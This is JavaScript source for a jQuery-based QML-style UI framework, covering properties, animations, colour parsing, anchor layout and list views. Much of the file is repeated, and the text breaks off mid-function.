var handlers = this._eventHandlers[name];
handlers.forEach(function(callback) { callback.apply(this, args); });
}
}
_globals.core.Object.prototype.get = function (name) {
if (this.hasOwnProperty(name))
return this[name];
var object = this;
while(object) {
if (name in object._local)
return object._local[name];
object = object.parent;
}
console.log(name, this);
throw ("invalid property requested: '" + name + "' in context of " + this);
}
_globals.core.Object.prototype.setAnimation = function (name, animation) {
this._animations[name] = animation;
}
_globals.core.Object.prototype.getAnimation = function (name, animation) {
return this._animations[name] || null;
}
exports._setup = function() {
_globals.core.ListModel.prototype.addChild = function(child) {
this.append(child)
}
_globals.core.Timer.prototype._restart = function() {
if (this._timeout) {
clearTimeout(this._timeout);
this._timeout = undefined;
}
if (this._interval) {
clearTimeout(this._interval);
this._interval = undefined;
}
if (!this.running)
return;
//console.log("starting timer", this.interval, this.repeat);
var self = this;
if (this.repeat)
this._interval = setInterval(function() { self.triggered(); }, this.interval);
else
this._timeout = setTimeout(function() { self.triggered(); }, this.interval);
}
var blend = function(dst, src, t) {
return t * (dst - src) + src;
}
_globals.core.Animation.prototype.interpolate = blend;
_globals.core.Color = function(value) {
if (value.substring(0, 4) == "rgba") {
var b = value.indexOf('('), e = value.lastIndexOf(')')
value = value.substring(b + 1, e).split(',')
this.r = parseInt(value[0])
this.g = parseInt(value[1])
this.b = parseInt(value[2])
this.a = parseInt(value[3])
return
}
else {
var h = value.charAt(0);
if (h != '#')
triplet = colorTable[value];
else
triplet = value.substring(1)
}
if (!triplet)
throw "invalid color specification: " + value
var len = triplet.length;
if (len == 3 || len == 4) {
var r = parseInt(triplet.charAt(0), 16)
var g = parseInt(triplet.charAt(1), 16)
var b = parseInt(triplet.charAt(2), 16)
var a = (len == 4)? parseInt(triplet.charAt(3), 16): 255
this.r = (r << 4) | r;
this.g = (g << 4) | g;
this.b = (b << 4) | b;
this.a = (a << 4) | a;
} else if (len == 6 || len == 8) {
this.r = parseInt(triplet.substring(0, 2), 16)
this.g = parseInt(triplet.substring(2, 4), 16)
this.b = parseInt(triplet.substring(4, 6), 16)
this.a = (len == 8)? parseInt(triplet.substring(6, 8), 16): 255
} else
throw "invalid color specification: " + value
}
_globals.core.Color.prototype.constructor = _globals.core.Color;
_globals.core.ColorAnimation.prototype.interpolate = function(dst, src, t) {
var dst_c = new _globals.core.Color(dst), src_c = new _globals.core.Color(src);
var r = Math.floor(blend(dst_c.r, src_c.r, t))
var g = Math.floor(blend(dst_c.g, src_c.g, t))
var b = Math.floor(blend(dst_c.b, src_c.b, t))
var a = Math.floor(blend(dst_c.a, src_c.a, t))
return "rgba(" + r + "," + g + "," + b + "," + a + ")";
}
_globals.core.Timer.prototype._update = function(name, value) {
switch(name) {
case 'running': this._restart(); break;
case 'interval': this._restart(); break;
case 'repeat': this._restart(); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype.toScreen = function() {
var item = this;
var x = 0, y = 0;
while(item) {
x += item.x + item.viewX;
y += item.y + item.viewY;
item = item.parent;
}
return [x, y];
}
_globals.core.Border.prototype._update = function(name, value) {
switch(name) {
case 'width': this.parent.element.css({'border-width': value, 'margin-left': -value, 'margin-top': -value}); break;
case 'color': this.parent.element.css('border-color', value); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype._update = function(name, value) {
switch(name) {
case 'width':
this.element.css('width', value);
this.right.value = this.left.value + value;
this.horizontalCenter.value = (this.right.value + this.left.value) / 2;
break;
case 'height':
this.element.css('height', value);
this.bottom.value = this.top.value + value;
this.verticalCenter.value = (this.top.value + this.bottom.value) / 2;
break;
case 'x':
case 'viewX':
value = this.x + this.viewX
this.element.css('left', value);
this.left.value = value;
this.right.value = value + this.width;
this.horizontalCenter.value = (this.right.value + this.left.value) / 2;
break;
case 'y':
case 'viewY':
value = this.y + this.viewY
this.element.css('top', value);
this.top.value = value;
this.bottom.value = value + this.height;
this.verticalCenter.value = (this.top.value + this.bottom.value) / 2;
break;
case 'opacity': if (this.element) /*FIXME*/this.element.css('opacity', value); break;
case 'visible': if (this.element) /*FIXME*/this.element.css('visibility', value? 'visible': 'hidden'); break;
case 'z': this.element.css('z-index', value); break;
case 'radius': this.element.css('border-radius', value); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype.forceActiveFocus = function() {
var item = this;
while(item.parent) {
item.parent._focusChild(item);
item = item.parent;
}
}
_globals.core.Item.prototype._focusTree = function(active) {
this.activeFocus = active;
if (this.focusedChild)
this.focusedChild._focusTree(active);
}
_globals.core.Item.prototype._focusChild = function (child) {
if (child.parent !== this)
throw "invalid object passed as child";
if (this.focusedChild)
this.focusedChild._focusTree(false);
this.focusedChild = child;
if (this.focusedChild)
this.focusedChild._focusTree(true);
}
_globals.core.Item.prototype._processKey = function (event) {
if (this.focusedChild && this.focusedChild._processKey(event))
return true;
var key = keyCodes[event.which];
if (key) {
if (key in this._pressedHandlers) {
var self = this;
var handlers = this._pressedHandlers[key];
for(var i = handlers.length - 1; i >= 0; --i) {
var callback = handlers[i];
if (callback(event))
return true;
}
}
}
else {
console.log("unhandled key", event.which);
}
return false;
}
_globals.core.MouseArea.prototype._onEnter = function() {
if (!this.hoverEnabled)
return;
this.hovered = true;
this._emitEvent('entered')
}
_globals.core.MouseArea.prototype._onExit = function() {
if (!this.hoverEnabled)
return;
this.hovered = false;
this._emitEvent('exited')
}
_globals.core.MouseArea.prototype._onClick = function() {
this._emitEvent('clicked')
}
_globals.core.AnchorLine.prototype.toScreen = function() {
var box = this.parent.parent? this.parent.parent.toScreen(): [0, 0];
return box[this.boxIndex] + this.value;
}
_globals.core.Anchors.prototype._update = function(name) {
var self = this.parent;
var parent = self.parent;
var anchors = this;
var update_left = function() {
var parent_box = parent.toScreen();
var left = anchors.left.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
self.x = left + lm - parent_box[0];
if (anchors.right) {
var right = anchors.right.toScreen();
var rm = anchors.rightMargin || anchors.margins;
self.width = right - left - rm - lm;
}
};
var update_right = function() {
var parent_box = parent.toScreen();
var right = anchors.right.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
if (anchors.left) {
var left = anchors.left.toScreen();
self.width = right - left - rm - lm;
}
self.x = right - parent_box[0] - rm - self.width;
};
var update_top = function() {
var parent_box = parent.toScreen();
var top = anchors.top.toScreen()
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
self.y = top + tm - parent_box[1];
if (anchors.bottom) {
var bottom = anchors.bottom.toScreen();
self.height = bottom - top - bm - tm;
}
}
var update_bottom = function() {
var parent_box = parent.toScreen();
var bottom = anchors.bottom.toScreen();
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
if (anchors.top) {
var top = anchors.top.toScreen()
self.height = bottom - top - bm - tm;
}
self.y = bottom - parent_box[1] - bm - self.height;
}
var update_h_center = function() {
var parent_box = parent.toScreen();
var hcenter = anchors.horizontalCenter.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
self.x = hcenter - self.width / 2 - parent_box[0] + lm - rm;
}
var update_v_center = function() {
var parent_box = parent.toScreen();
var vcenter = anchors.verticalCenter.toScreen();
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
self.y = vcenter - self.height / 2 - parent_box[1] + tm - bm;
}
switch(name) {
case 'left':
update_left();
anchors.left.onChanged('value', update_left);
anchors.onChanged('leftMargin', update_left);
break;
case 'right':
update_right();
anchors.right.onChanged('value', update_right);
anchors.onChanged('rightMargin', update_right);
break;
case 'top':
update_top();
anchors.top.onChanged('value', update_top);
anchors.onChanged('topMargin', update_top);
break;
case 'bottom':
update_bottom();
anchors.bottom.onChanged('value', update_bottom);
anchors.onChanged('bottomMargin', update_bottom);
break;
case 'horizontalCenter':
update_h_center();
self.onChanged('width', update_h_center);
anchors.onChanged('leftMargin', update_h_center);
anchors.onChanged('rightMargin', update_h_center);
anchors.horizontalCenter.onChanged('value', update_h_center);
break;
case 'verticalCenter':
update_v_center();
self.onChanged('height', update_v_center);
anchors.onChanged('topMargin', update_v_center);
anchors.onChanged('bottomMargin', update_v_center);
anchors.verticalCenter.onChanged('value', update_v_center);
break;
case 'fill':
anchors.left = anchors.fill.left;
anchors.right = anchors.fill.right;
anchors.top = anchors.fill.top;
anchors.bottom = anchors.fill.bottom;
break;
case 'centerIn':
anchors.horizontalCenter = anchors.centerIn.horizontalCenter;
anchors.verticalCenter = anchors.centerIn.verticalCenter;
break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Font.prototype._update = function(name, value) {
switch(name) {
case 'pointSize': this.parent.element.css('font-size', value + "pt"); break;
case 'pixelSize': this.parent.element.css('font-size', value + "px"); break;
case 'italic': this.parent.element.css('font-style', value? 'italic': 'normal'); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Text.prototype._update = function(name, value) {
switch(name) {
case 'text': this.element.text(value); this.paintedWidth = this.element.width(); this.paintedHeight = this.element.height(); break;
case 'color': this.element.css('color', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Rectangle.prototype._update = function(name, value) {
switch(name) {
case 'color': this.element.css('background-color', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Image.prototype.Null = 0;
_globals.core.Image.prototype.Ready = 1;
_globals.core.Image.prototype.Loading = 2;
_globals.core.Image.prototype.Error = 3;
_globals.core.Image.prototype._onLoad = function() {
this.paintedWidth = this.element.get(0).naturalWidth;
this.paintedHeight = this.element.get(0).naturalHeight;
this.status = this.Ready;
}
_globals.core.Image.prototype._onError = function() {
this.status = this.Error;
}
_globals.core.Image.prototype._update = function(name, value) {
switch(name) {
case 'source': this.status = value? this.Loading: this.Null; this.element.attr('src', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Row.prototype._layout = function() {
var children = this.children;
var p = 0
var h = 0
for(var i = 0; i < children.length; ++i) {
var c = children[i]
if (!c.hasOwnProperty('height'))
continue
var b = c.y + c.height
if (b > h)
h = b
c.viewX = p
p += c.width + this.spacing
}
if (p > 0)
p -= this.spacing
this.width = p
this.height = h
}
_globals.core.Row.prototype.addChild = function(child) {
_globals.core.Object.prototype.addChild.apply(this, arguments)
child.onChanged('width', this._layout.bind(this))
}
_globals.core.Column.prototype._layout = function() {
var children = this.children;
var p = 0
var w = 0
for(var i = 0; i < children.length; ++i) {
var c = children[i]
if (!c.hasOwnProperty('height'))
continue
var r = c.x + c.width
if (r > w)
w = r
c.viewY = p
p += c.height + this.spacing
}
if (p > 0)
p -= this.spacing
this.width = w
this.height = p
}
_globals.core.Column.prototype.addChild = function(child) {
_globals.core.Object.prototype.addChild.apply(this, arguments)
child.onChanged('height', this._layout.bind(this))
}
_globals.core.ListView.prototype.Vertical = 0
_globals.core.ListView.prototype.Horizontal = 1
_globals.core.ListView.prototype._onReset = function() {
var model = this.model
var items = this._items
console.log("reset", model.count)
if (items.count > model.count) {
this._onRowsRemoved(model.count, items.length)
} else {
this._onRowsChanged(0, items.length)
this._onRowsInserted(items.length, model.count)
}
this._layout()
}
_globals.core.ListView.prototype._onRowsInserted = function(begin, end) {
console.log("rows inserted", begin, end)
var items = this._items
for(var i = begin; i < end; ++i)
items.splice(i, 0, null)
this._layout()
}
_globals.core.ListView.prototype._onRowsChanged = function(begin, end) {
console.log("rows changed", begin, end)
var items = this._items
for(var i = begin; i < end; ++i) {
items[i].element.remove()
items[i] = null
}
this._layout()
}
_globals.core.ListView.prototype._onRowsRemoved = function(begin, end) {
console.log("rows removed", begin, end)
var items = this._items
for(var i = begin; i < end; ++i) {
var item = items[i];
if (item)
items[i].element.remove()
items[i] = null
}
items.splice(begin, end - begin)
this._layout()
}
_globals.core.ListView.prototype._layout = function() {
var model = this.model;
if (!model)
return
this.count = model.count
var w = this.width, h = this.height
if (!w || !h)
return
var items = this._items
var n = items.length
console.log("layout " + n + " into " + w + "x" + h)
var horizontal = this.orientation === this.Horizontal
var p = horizontal? -this.contextX: -this.contentY, size = horizontal? w: h
for(var i = 0; i < n; ++i) {
if (!this._items[i])
this._items[i] = this.delegate()
var item = this._items[i]
if (horizontal)
item.viewX = p
else
item.viewY = p
var s = (horizontal? item.width: item.height)
item.visible = (p + s >= 0 && p < size)
p += s + this.spacing
}
}
_globals.core.ListView.prototype._attach = function() {
if (this._attached || !this.model || !this.delegate)
return
this.model.on('reset', this._onReset.bind(this))
this.model.on('rowsInserted', this._onRowsInserted.bind(this))
this.model.on('rowsChanged', this._onRowsChanged.bind(this))
this.model.on('rowsRemoved', this._onRowsRemoved.bind(this))
this._attached = true
this._onReset()
}
_globals.core.ListView.prototype._update = function(name, value) {
switch(name) {
case 'width':
case 'height':
_globals.core.Item.prototype._update.apply(this, arguments);
case 'contentX':
case 'contentY':
this._layout()
return;
case 'model':
this._attach()
break
case 'delegate':
if (value) {
value.visible = false;
}
this._attach()
break
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
exports.Context.prototype = Object.create(qml.core.Item.prototype);
exports.Context.prototype.constructor = exports.Context;
exports.Context.prototype._onCompleted = function(callback) {
this._completedHandlers.push(callback);
}
exports.Context.prototype._completed = function() {
this._completedHandlers.forEach(function(callback) { try { callback(); } catch(ex) { console.log("completed handler failed", ex); }} )
this._completedHandlers = [];
}
exports.Context.prototype.start = function(name) {
var proto;
if (typeof name == 'string') {
//console.log('creating component...', name);
var path = name.split('.');
proto = _globals;
for (var i = 0; i < path.length; ++i)
proto = proto[path[i]]
}
else
proto = name;
var instance = Object.create(proto.prototype);
proto.apply(instance, [this]);
this._completed();
return instance;
}
}
exports.Context = function() {
_globals.core.Item.apply(this, null);
this._local['renderer'] = this;
this._completedHandlers = []
var win = $(window);
var w = win.width();
var h = win.height();
//console.log("window size: " + w + "x" + h);
var body = $('body');
var div = $("<div id='renderer'></div>");
body.append(div);
$('head').append($("<style>" +
"div#renderer { position: absolute; left: 0px; top: 0px; } " +
"div { position: absolute; border-style: solid; border-width: 0px; white-space: nowrap; } " +
"img { position: absolute; } " +
"</style>"
));
this.element = div
this.width = w;
this.height = h;
win.on('resize', function() { this.width = win.width(); this.height = win.height(); }.bind(this));
var self = this;
$(document).keydown(function(event) { self._processKey(event); } );
//console.log("context created");
}
exports.addProperty = function(self, type, name) {
var value;
var timer;
var timeout;
var interpolated_value;
switch(type) {
case 'int': value = 0; break;
case 'bool': value = false; break;
case 'real': value = 0.0; break;
default: if (type[0].toUpperCase() == type[0]) value = null; break;
}
var convert = function(value) {
switch(type) {
case 'int': return Math.floor(value);
case 'bool': return value? true: false;
default: return value;
}
}
Object.defineProperty(self, name, {
get: function() {
return value;
},
set: function(newValue) {
if (!self.getAnimation) {
console.log("bound unknown object", self)
throw "invalid object";
}
newValue = convert(newValue)
var animation = self.getAnimation(name)
if (animation && value != newValue) {
if (timer)
clearInterval(timer);
if (timeout)
clearTimeout(timeout);
var duration = animation.duration;
var date = new Date();
var started = date.getTime() + date.getMilliseconds() / 1000.0;
var src = interpolated_value !== undefined? interpolated_value: value;
var dst = newValue;
timer = setInterval(function() {
var date = new Date();
var now = date.getTime() + date.getMilliseconds() / 1000.0;
var t = 1.0 * (now - started) / duration;
if (t >= 1)
t = 1;
interpolated_value = convert(animation.interpolate(dst, src, t));
self._update(name, interpolated_value, src);
});
timeout = setTimeout(function() {
clearInterval(timer);
interpolated_value = undefined;
self._update(name, dst, src);
}, duration);
}
oldValue = value;
if (oldValue != newValue) {
value = newValue;
if (!animation)
self._update(name, newValue, oldValue);
}
},
enumerable: true
});
}
exports.addAliasProperty = function(self, name, getObject, getter, setter) {
var target = getObject();
target.onChanged(name, function(value) { self._update(name, value); });
Object.defineProperty(self, name, {
get: getter,
set: setter,
enumerable: true
});
}
exports._bootstrap = function(self, name) {
switch(name) {
case 'core.ListModel':
self._rows = []
break;
case 'core.ListView':
self._items = []
break;
case 'core.Item':
if (!self.parent) //top-level item, do not create item
break;
if (self.element)
throw "double ctor call";
self.element = $('<div/>');
self.parent.element.append(self.element);
break;
case 'core.MouseArea':
self.element.hover(self._onEnter.bind(self), self._onExit.bind(self));
self.element.on('click', self._onClick.bind(self));
break;
case 'core.Image':
self.element.remove();
self.element = $('<img/>');
self.parent.element.append(self.element);
self.element.on('load', self._onLoad.bind(self));
self.element.on('error', self._onError.bind(self));
break;
}
}
| core/core.js | /* qml.core javascript code */
var keyCodes = {
13: 'Select',
37: 'Left',
38: 'Up',
39: 'Right',
40: 'Down'
}
var colorTable = {
'maroon': '800000',
'red': 'ff0000',
'orange': 'ffA500',
'yellow': 'ffff00',
'olive': '808000',
'purple': '800080',
'fuchsia': 'ff00ff',
'white': 'ffffff',
'lime': '00ff00',
'green': '008000',
'navy': '000080',
'blue': '0000ff',
'aqua': '00ffff',
'teal': '008080',
'black': '000000',
'silver': 'c0c0c0',
'gray': '080808'
}
_globals.core.Object = function(parent) {
this.parent = parent;
this.children = []
this._local = {}
this._changedHandlers = {}
this._eventHandlers = {}
this._pressedHandlers = {}
this._animations = {}
this._updaters = {}
}
_globals.core.Object.prototype.addChild = function(child) {
this.children.push(child);
}
_globals.core.Object.prototype._setId = function (name) {
var p = this;
while(p) {
p._local[name] = this;
p = p.parent;
}
}
_globals.core.Object.prototype.onChanged = function (name, callback) {
if (name in this._changedHandlers)
this._changedHandlers[name].push(callback);
else
this._changedHandlers[name] = [callback];
}
_globals.core.Object.prototype.removeOnChanged = function (name, callback) {
if (name in this._changedHandlers) {
var handlers = this._changedHandlers[name];
for(var i = 0; i < handlers.length; ) {
if (handlers[i] === callback) {
handlers.splice(i, 1)
} else
++i
}
}
}
_globals.core.Object.prototype._removeUpdater = function (name, callback) {
if (name in this._updaters)
this._updaters[name]();
if (callback) {
this._updaters[name] = callback;
} else
delete this._updaters[name]
}
_globals.core.Object.prototype.onPressed = function (name, callback) {
if (name in this._pressedHandlers)
this._pressedHandlers[name].push(callback);
else
this._pressedHandlers[name] = [callback];
}
_globals.core.Object.prototype._update = function(name, value) {
if (name in this._changedHandlers) {
var handlers = this._changedHandlers[name];
handlers.forEach(function(callback) { callback(value); });
}
}
_globals.core.Object.prototype.on = function (name, callback) {
if (name in this._eventHandlers)
this._eventHandlers[name].push(callback);
else
this._eventHandlers[name] = [callback];
}
_globals.core.Object.prototype._emitEvent = function(name) {
var args = Array.prototype.slice.call(arguments);
args.shift();
if (name in this._eventHandlers) {
var handlers = this._eventHandlers[name];
handlers.forEach(function(callback) { callback.apply(this, args); });
}
}
_globals.core.Object.prototype.get = function (name) {
if (this.hasOwnProperty(name))
return this[name];
var object = this;
while(object) {
if (name in object._local)
return object._local[name];
object = object.parent;
}
console.log(name, this);
throw ("invalid property requested: '" + name + "' in context of " + this);
}
_globals.core.Object.prototype.setAnimation = function (name, animation) {
this._animations[name] = animation;
}
_globals.core.Object.prototype.getAnimation = function (name, animation) {
return this._animations[name] || null;
}
exports._setup = function() {
_globals.core.ListModel.prototype.addChild = function(child) {
this.append(child)
}
_globals.core.Timer.prototype._restart = function() {
if (this._timeout) {
clearTimeout(this._timeout);
this._timeout = undefined;
}
if (this._interval) {
clearTimeout(this._interval);
this._interval = undefined;
}
if (!this.running)
return;
//console.log("starting timer", this.interval, this.repeat);
var self = this;
if (this.repeat)
this._interval = setInterval(function() { self.triggered(); }, this.interval);
else
this._timeout = setTimeout(function() { self.triggered(); }, this.interval);
}
var blend = function(dst, src, t) {
return t * (dst - src) + src;
}
_globals.core.Animation.prototype.interpolate = blend;
_globals.core.Color = function(value) {
if (value.substring(0, 4) == "rgba") {
var b = value.indexOf('('), e = value.lastIndexOf(')')
value = value.substring(b + 1, e).split(',')
this.r = parseInt(value[0])
this.g = parseInt(value[1])
this.b = parseInt(value[2])
this.a = parseInt(value[3])
return
}
else {
var h = value.charAt(0);
if (h != '#')
triplet = colorTable[value];
else
triplet = value.substring(1)
}
if (!triplet)
throw "invalid color specification: " + value
var len = triplet.length;
if (len == 3 || len == 4) {
var r = parseInt(triplet.charAt(0), 16)
var g = parseInt(triplet.charAt(1), 16)
var b = parseInt(triplet.charAt(2), 16)
var a = (len == 4)? parseInt(triplet.charAt(3), 16): 255
this.r = (r << 4) | r;
this.g = (g << 4) | g;
this.b = (b << 4) | b;
this.a = (a << 4) | a;
} else if (len == 6 || len == 8) {
this.r = parseInt(triplet.substring(0, 2), 16)
this.g = parseInt(triplet.substring(2, 4), 16)
this.b = parseInt(triplet.substring(4, 6), 16)
this.a = (len == 8)? parseInt(triplet.substring(6, 8), 16): 255
} else
throw "invalid color specification: " + value
}
_globals.core.Color.prototype.constructor = _globals.core.Color;
_globals.core.ColorAnimation.prototype.interpolate = function(dst, src, t) {
var dst_c = new _globals.core.Color(dst), src_c = new _globals.core.Color(src);
var r = Math.floor(blend(dst_c.r, src_c.r, t))
var g = Math.floor(blend(dst_c.g, src_c.g, t))
var b = Math.floor(blend(dst_c.b, src_c.b, t))
var a = Math.floor(blend(dst_c.a, src_c.a, t))
return "rgba(" + r + "," + g + "," + b + "," + a + ")";
}
_globals.core.Timer.prototype._update = function(name, value) {
switch(name) {
case 'running': this._restart(); break;
case 'interval': this._restart(); break;
case 'repeat': this._restart(); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype.toScreen = function() {
var item = this;
var x = 0, y = 0;
while(item) {
x += item.x + item.viewX;
y += item.y + item.viewY;
item = item.parent;
}
return [x, y];
}
_globals.core.Border.prototype._update = function(name, value) {
switch(name) {
case 'width': this.parent.element.css({'border-width': value, 'margin-left': -value, 'margin-top': -value}); break;
case 'color': this.parent.element.css('border-color', value); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype._update = function(name, value) {
switch(name) {
case 'width':
this.element.css('width', value);
this.right.value = this.left.value + value;
this.horizontalCenter.value = (this.right.value + this.left.value) / 2;
break;
case 'height':
this.element.css('height', value);
this.bottom.value = this.top.value + value;
this.verticalCenter.value = (this.top.value + this.bottom.value) / 2;
break;
case 'x':
case 'viewX':
value = this.x + this.viewX
this.element.css('left', value);
this.left.value = value;
this.right.value = value + this.width;
this.horizontalCenter.value = (this.right.value + this.left.value) / 2;
break;
case 'y':
case 'viewY':
value = this.y + this.viewY
this.element.css('top', value);
this.top.value = value;
this.bottom.value = value + this.height;
this.verticalCenter.value = (this.top.value + this.bottom.value) / 2;
break;
case 'opacity': if (this.element) /*FIXME*/this.element.css('opacity', value); break;
case 'visible': if (this.element) /*FIXME*/this.element.css('visibility', value? 'visible': 'hidden'); break;
case 'z': this.element.css('z-index', value); break;
case 'radius': this.element.css('border-radius', value); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Item.prototype.forceActiveFocus = function() {
var item = this;
while(item.parent) {
item.parent._focusChild(item);
item = item.parent;
}
}
_globals.core.Item.prototype._focusTree = function(active) {
this.activeFocus = active;
if (this.focusedChild)
this.focusedChild._focusTree(active);
}
_globals.core.Item.prototype._focusChild = function (child) {
if (child.parent !== this)
throw "invalid object passed as child";
if (this.focusedChild)
this.focusedChild._focusTree(false);
this.focusedChild = child;
if (this.focusedChild)
this.focusedChild._focusTree(true);
}
_globals.core.Item.prototype._processKey = function (event) {
if (this.focusedChild && this.focusedChild._processKey(event))
return true;
var key = keyCodes[event.which];
if (key) {
if (key in this._pressedHandlers) {
var self = this;
var handlers = this._pressedHandlers[key];
for(var i = handlers.length - 1; i >= 0; --i) {
var callback = handlers[i];
if (callback(event))
return true;
}
}
}
else {
console.log("unhandled key", event.which);
}
return false;
}
_globals.core.MouseArea.prototype._onEnter = function() {
if (!this.hoverEnabled)
return;
this.hovered = true;
this._emitEvent('entered')
}
_globals.core.MouseArea.prototype._onExit = function() {
if (!this.hoverEnabled)
return;
this.hovered = false;
this._emitEvent('exited')
}
_globals.core.MouseArea.prototype._onClick = function() {
this._emitEvent('clicked')
}
_globals.core.AnchorLine.prototype.toScreen = function() {
var box = this.parent.parent? this.parent.parent.toScreen(): [0, 0];
return box[this.boxIndex] + this.value;
}
_globals.core.Anchors.prototype._update = function(name) {
var self = this.parent;
var parent = self.parent;
var anchors = this;
var update_left = function() {
var parent_box = parent.toScreen();
var left = anchors.left.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
self.x = left + lm - parent_box[0];
if (anchors.right) {
var right = anchors.right.toScreen();
var rm = anchors.rightMargin || anchors.margins;
self.width = right - left - rm - lm;
}
};
var update_right = function() {
var parent_box = parent.toScreen();
var right = anchors.right.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
if (anchors.left) {
var left = anchors.left.toScreen();
self.width = right - left - rm - lm;
}
self.x = right - parent_box[0] - rm - self.width;
};
var update_top = function() {
var parent_box = parent.toScreen();
var top = anchors.top.toScreen()
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
self.y = top + tm - parent_box[1];
if (anchors.bottom) {
var bottom = anchors.bottom.toScreen();
self.height = bottom - top - bm - tm;
}
}
var update_bottom = function() {
var parent_box = parent.toScreen();
var bottom = anchors.bottom.toScreen();
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
if (anchors.top) {
var top = anchors.top.toScreen()
self.height = bottom - top - bm - tm;
}
self.y = bottom - parent_box[1] - bm - self.height;
}
var update_h_center = function() {
var parent_box = parent.toScreen();
var hcenter = anchors.horizontalCenter.toScreen();
var lm = anchors.leftMargin || anchors.margins;
var rm = anchors.rightMargin || anchors.margins;
self.x = hcenter - self.width / 2 - parent_box[0] + lm - rm;
}
var update_v_center = function() {
var parent_box = parent.toScreen();
var vcenter = anchors.verticalCenter.toScreen();
var tm = anchors.topMargin || anchors.margins;
var bm = anchors.bottomMargin || anchors.margins;
self.y = vcenter - self.height / 2 - parent_box[1] + tm - bm;
}
switch(name) {
case 'left':
update_left();
anchors.left.onChanged('value', update_left);
anchors.onChanged('leftMargin', update_left);
break;
case 'right':
update_right();
anchors.right.onChanged('value', update_right);
anchors.onChanged('rightMargin', update_right);
break;
case 'top':
update_top();
anchors.top.onChanged('value', update_top);
anchors.onChanged('topMargin', update_top);
break;
case 'bottom':
update_bottom();
anchors.bottom.onChanged('value', update_bottom);
anchors.onChanged('bottomMargin', update_bottom);
break;
case 'horizontalCenter':
update_h_center();
self.onChanged('width', update_h_center);
anchors.onChanged('leftMargin', update_h_center);
anchors.onChanged('rightMargin', update_h_center);
anchors.horizontalCenter.onChanged('value', update_h_center);
break;
case 'verticalCenter':
update_v_center();
self.onChanged('height', update_v_center);
anchors.onChanged('topMargin', update_v_center);
anchors.onChanged('bottomMargin', update_v_center);
anchors.verticalCenter.onChanged('value', update_v_center);
break;
case 'fill':
anchors.left = anchors.fill.left;
anchors.right = anchors.fill.right;
anchors.top = anchors.fill.top;
anchors.bottom = anchors.fill.bottom;
break;
case 'centerIn':
anchors.horizontalCenter = anchors.centerIn.horizontalCenter;
anchors.verticalCenter = anchors.centerIn.verticalCenter;
break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Font.prototype._update = function(name, value) {
switch(name) {
case 'pointSize': this.parent.element.css('font-size', value + "pt"); break;
case 'pixelSize': this.parent.element.css('font-size', value + "px"); break;
case 'italic': this.parent.element.css('font-style', value? 'italic': 'normal'); break;
}
_globals.core.Object.prototype._update.apply(this, arguments);
}
_globals.core.Text.prototype._update = function(name, value) {
switch(name) {
case 'text': this.element.text(value); this.paintedWidth = this.element.width(); this.paintedHeight = this.element.height(); break;
case 'color': this.element.css('color', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Rectangle.prototype._update = function(name, value) {
switch(name) {
case 'color': this.element.css('background-color', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Image.prototype.Null = 0;
_globals.core.Image.prototype.Ready = 1;
_globals.core.Image.prototype.Loading = 2;
_globals.core.Image.prototype.Error = 3;
_globals.core.Image.prototype._onLoad = function() {
this.paintedWidth = this.element.get(0).naturalWidth;
this.paintedHeight = this.element.get(0).naturalHeight;
this.status = this.Ready;
}
_globals.core.Image.prototype._onError = function() {
this.status = this.Error;
}
_globals.core.Image.prototype._update = function(name, value) {
switch(name) {
case 'source': this.status = value? this.Loading: this.Null; this.element.attr('src', value); break;
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
_globals.core.Row.prototype._layout = function() {
var children = this.children;
var p = 0
var h = 0
for(var i = 0; i < children.length; ++i) {
var c = children[i]
if (!c.hasOwnProperty('height'))
continue
var b = c.y + c.height
if (b > h)
h = b
c.viewX = p
p += c.width + this.spacing
}
if (p > 0)
p -= this.spacing
this.width = p
this.height = h
}
_globals.core.Row.prototype.addChild = function(child) {
_globals.core.Object.prototype.addChild.apply(this, arguments)
child.onChanged('width', this._layout.bind(this))
}
_globals.core.Column.prototype._layout = function() {
var children = this.children;
var p = 0
var w = 0
for(var i = 0; i < children.length; ++i) {
var c = children[i]
if (!c.hasOwnProperty('height'))
continue
var r = c.x + c.width
if (r > w)
w = r
c.viewY = p
p += c.height + this.spacing
}
if (p > 0)
p -= this.spacing
this.width = w
this.height = p
}
_globals.core.Column.prototype.addChild = function(child) {
_globals.core.Object.prototype.addChild.apply(this, arguments)
child.onChanged('height', this._layout.bind(this))
}
_globals.core.ListView.prototype.Vertical = 0
_globals.core.ListView.prototype.Horizontal = 1
_globals.core.ListView.prototype._onReset = function() {
var model = this.model
var items = this._items
console.log("reset", model.count)
if (items.count > model.count) {
this._onRowsRemoved(model.count, items.length)
